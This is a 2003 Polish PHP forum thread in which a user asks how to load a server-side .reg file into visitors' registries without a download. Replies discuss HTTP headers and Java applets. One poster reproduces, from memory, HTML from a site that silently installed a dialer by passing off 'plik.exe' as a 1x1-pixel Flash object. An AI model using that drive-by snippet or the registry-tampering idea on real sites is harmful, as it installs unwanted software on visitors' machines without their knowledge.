Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

 
Reply to this topicStart new topic
> Jak to zrobić w PHP
mis_polarny
post 13.05.2003, 14:45:20
Post #1





Grupa: Zarejestrowani
Postów: 16
Pomógł: 0
Dołączył: 24.03.2003
Skąd: Warszawa

Ostrzeżenie: (0%)
-----


Witam! nie długo uruchomie serwis zawierający pomoc i serwis online.
Jak zrobić w php aby np. mając plik z rozszerzeniem .reg na serwerze załadował się u klienta bez sciągania go na dysk lokalny.
Pozdrawiam
rolleyes.gif
Go to the top of the page
+Quote Post
scanner
post 13.05.2003, 14:54:57
Post #2





Grupa: Zarząd
Postów: 3 503
Pomógł: 28
Dołączył: 17.10.2002
Skąd: Wrocław




php to server-side. Nie miesza u klienta wzaden sposób.


--------------------
scanner.info
Warto pamiętać: KISS, DRY
Go to the top of the page
+Quote Post
DeyV
post 13.05.2003, 15:27:43
Post #3





Grupa: Zarząd
Postów: 2 277
Pomógł: 6
Dołączył: 27.12.2002
Skąd: Wołów/Wrocław




wydaje mi sie, ze można by, bawiąc sie z headerami, doprowadzić do otwarcia takiego pliku, tak jak pliki textowe, lub z HTML'em
Tj. podać jako typ pliku text, (lub html), podajac jednak prawdziwą nazwę.
[php:1:8bdb36a1c0]<?php
header("Content-Type: text/html"); <BR>
header("Content-Disposition: attachment; filename=nazwa_pliku.reg");

readfile($adres_pliku);

?>[/php:1:8bdb36a1c0]
ale to tylko przypuszczenia...


--------------------
"Niezależnie od tego, jakie masz osiągnięcia, ktoś Ci pomaga..."
Go to the top of the page
+Quote Post
scanner
post 13.05.2003, 15:38:25
Post #4





Grupa: Zarząd
Postów: 3 503
Pomógł: 28
Dołączył: 17.10.2002
Skąd: Wrocław




Hmm....
Myślisz że to by zadziałało?
Wydaje mi się, że powinny zadziałać te wychwalane zabezpiecznenia systemu.
Trzeba by spróbować w sumie. Ale i tak mam wątpliwości.


--------------------
scanner.info
Warto pamiętać: KISS, DRY
Go to the top of the page
+Quote Post
DeyV
post 13.05.2003, 15:41:46
Post #5





Grupa: Zarząd
Postów: 2 277
Pomógł: 6
Dołączył: 27.12.2002
Skąd: Wołów/Wrocław




oczywiste jest, że nie taki plik nie załaduje się do rejestru.
Być moze jednak będzie można go normalnie przejżeć...


--------------------
"Niezależnie od tego, jakie masz osiągnięcia, ktoś Ci pomaga..."
Go to the top of the page
+Quote Post
scanner
post 13.05.2003, 15:43:44
Post #6





Grupa: Zarząd
Postów: 3 503
Pomógł: 28
Dołączył: 17.10.2002
Skąd: Wrocław




Tak, ale:
Cytat
plik z rozszerzeniem .reg na serwerze załadował się u klienta bez sciągania go na dysk lokalny.
Wątpię, żeby zdalnie dało się wprowadzić wartość do rejestru.


--------------------
scanner.info
Warto pamiętać: KISS, DRY
Go to the top of the page
+Quote Post
Jabol
post 13.05.2003, 15:44:55
Post #7





Grupa: Przyjaciele php.pl
Postów: 1 467
Pomógł: 13
Dołączył: 22.02.2003

Ostrzeżenie: (0%)
-----


a może przez aplet javy? Słyszałem, że można apletem sformatować dysk, więc rejestry nie powinny być problemem!
Go to the top of the page
+Quote Post
scanner
post 13.05.2003, 15:48:14
Post #8





Grupa: Zarząd
Postów: 3 503
Pomógł: 28
Dołączył: 17.10.2002
Skąd: Wrocław




JAVA i JS może sibie z tym poradzą. Ale to już temat na inne forum.


--------------------
scanner.info
Warto pamiętać: KISS, DRY
Go to the top of the page
+Quote Post
spenalzo
post 13.05.2003, 17:24:58
Post #9





Grupa: Zarejestrowani
Postów: 2 064
Pomógł: 1
Dołączył: 22.01.2003
Skąd: Poznań

Ostrzeżenie: (0%)
-----


Więc tak - kiedyś poświęciłem trochę czasu na sprawdzenie czy dialer może automatycznie się załadować i uruchomić. I okazało się, że jest to możliwe w bardzo prosty sposób :-) Ale nie będe pisał jak to zrobić tongue.gif


--------------------

Go to the top of the page
+Quote Post
Jabol
post 13.05.2003, 17:26:21
Post #10





Grupa: Przyjaciele php.pl
Postów: 1 467
Pomógł: 13
Dołączył: 22.02.2003

Ostrzeżenie: (0%)
-----


czemu nie? przecież to forum jest poto, żeby dzielić się wiedzą z innymi. Napisz...
Go to the top of the page
+Quote Post
spenalzo
post 13.05.2003, 17:36:08
Post #11





Grupa: Zarejestrowani
Postów: 2 064
Pomógł: 1
Dołączył: 22.01.2003
Skąd: Poznań

Ostrzeżenie: (0%)
-----


No dobra. Piszę to na waszą odpowiedzialność.
Więc oglądawszy pewną stronę biggrin.gif (nie żebym zawsze, tylko w powyższym celu) załadował mi się rzeczony dialer, więc zajrzałem zaraz w kod tej strony i zobaczyłem coś takiego:
Kod
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="1" height="1">

<param name=movie value="plik.exe">

<param name=quality value=high>



<embed src="plik.exe" quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="1" height="1">

</embed></object>

Nie wiem, czy to dokładnie tak było, ale coś w tym styu.


--------------------

Go to the top of the page
+Quote Post
spenalzo
post 13.05.2003, 17:55:19
Post #12





Grupa: Zarejestrowani
Postów: 2 064
Pomógł: 1
Dołączył: 22.01.2003
Skąd: Poznań

Ostrzeżenie: (0%)
-----


Nie wiem czy to działa, ale tamten kod jakby właśne podszywał się pod Flasha. W każdym razie program załadował się i siedział na pasku systemowym dopóki go nie wywaliłem z rejestru i katalogu win/system. A nazwa podszywał się pod jakiś program windowsowy, kanalia.


--------------------

Go to the top of the page
+Quote Post

Reply to this topicStart new topic
1 Użytkowników czyta ten temat (1 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Wersja Lo-Fi Aktualny czas: 31.07.2025 - 07:53